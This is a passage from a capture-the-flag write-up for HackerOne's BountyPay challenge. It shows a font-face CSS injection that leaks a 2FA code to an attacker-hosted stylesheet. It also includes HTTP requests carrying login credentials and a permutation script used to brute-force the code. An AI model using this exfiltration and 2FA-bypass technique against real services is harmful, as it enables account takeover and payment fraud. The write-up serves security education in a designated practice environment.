Date: Wed, 10 Jun 2020 02:04:42 GMT
Content-Type: application/json
Connection: close
Set-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjIvRU51eEdabFFCd3F5WDVrMmEzWGlsS0NJMzdpWlAySnUwdFUrejc2U1liMzNqY3NFU2NFb2tNSEFhdTQvRlhBRi9HUFZPbFFkSjEya05CbEFhV0MzQkJIdk00bWdJUTNraTBSaWZmQnFpc1VSWW84QWdTOUhxaC9mVUFKUDUwdS9tWGJCV29lcHVPYUt2TkQwTlhsNFU9; expires=Fri, 10-Jul-2020 02:04:42 GMT; Max-Age=2592000; path=/
Content-Length: 19
["Report received"]
7.1 Failed Attempts
- Retire.js reports that the portal uses outdated libraries. Attempted to exploit for a XSS attack.
- Cross-site scripting attempts in
profile_name
andprofile_avatar
. - SSRF attempts on the
url
parameter at/admin/report
. - Path traversal on the
url
parameter when reporting. Example:/allowed_to_visit/../admin/upgrade?username=sandra.allison
.
7.2 Conclusion / Key Takeaways
- We have administrator access on
staff.bountypay.h1ctf.com
.
8.0 font-face CSS injection
Using the administrative access on staff.bountypay.h1ctf.com
, we noticed that BountyPay was exposing clear-text passwords of their customers. This allowed us to log into Marten Mickos' account on app.bountypay.h1ctf.com
. As our goal was to process HackerOne's bounty payments, this is a vital step in the CTF challenge.
We were faced with the login 2FA challenge again when using Marten's credentials on app.bountypay.h1ctf.com
, so the final request to log in :
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7
username=marten.mickos&password=h%26H5wy2Lggj*kKn4OD%26Ype&challenge=0e462097431906509019562988736854&challenge_answer=240610708
Browsing through the transactions, we discover a pending bounty payment of 210,300 dollars for May 2020. When we want to process it, we are prompted with another two factor authentication interface. This one appeared to be different than the initial 2FA prompt after logging in, as it was sending a app_style
parameter when generating the challenge.
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
It appears that we are able to provide an arbitrary URL on the app_style
parameter, which is used to load a CSS file for the interface the user agent is visiting. The server create requests from the following User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36
.
As Chrome Headless is used, we are able to perform client-side attacks, such as CSS injection and XSS (if we find a way to do so) against the 2FA process. The default value of app_style
(https://www.bountypay.h1ctf.com/css/uni_2fa_style.css
) reveals that there's an interface where our arbitrary CSS file is loaded.
With CSS injection attacks, we can leak data to the attacker's host using the CSS background
property. As demonstrated in Pepe Vila's talk, there are multiple ways to leak content to an attacker's host via CSS.
In this case, we're going to use font-faces
with the unicode-range
property. As mentioned in Pepe's talk, there are a few restrictions for this:
- The content is not leaked in the right order to the attacker's host.
- Repeated characters are not leaked to the attacker's host.
Since we do not know the order of the leaked characters through this method, we need to bruteforce it. We have 7 positions, and each position has 7 possible characters. This means that we have around ~5000 possible combinations. This should be doable to bruteforce in two minutes, using Burp Intruder.
The last steps
I've hosted the following CSS file to exfiltrate the token: https://playground.kapytein.nl/new3.css
. We're using the crafted CSS file which uses font-faces
from Masato Kinugawa.
We send the following HTTP request:
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Referer: https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
app_style=https://playground.kapytein.nl/new3.css
In return, we immediately receive 7 HTTP requests (indicating no repeated characters were in the token) on our server. If we do receive less than 7 HTTP requests, we can repeat the request until we do.
We use the following Python script to load the combinations in a text file, which we can use in Burp Intruder to bruteforce the endpoint.
from itertools import permutations
perms = [''.join(p) for p in permutations('<leaked-characters>')]
for i in set(perms):
print(i)
python3 generate.py > list.txt
We successfully bypassed the two-factor authentication, and processed $210,300 in bounties!
8.1 Failed Attempts
- Attempting to leak the 2FA code via
@import
's. @d0nut has done amazing research on this, however I somehow wasn't able to get it working, as I received slow responses. According to my local tests, this happened because my stylesheet was loaded before the HTML elements were defined, although I'm not entirely sure if that is the cause. - Attempting to break out of the stylesheet tag for a cross-site scripting attack.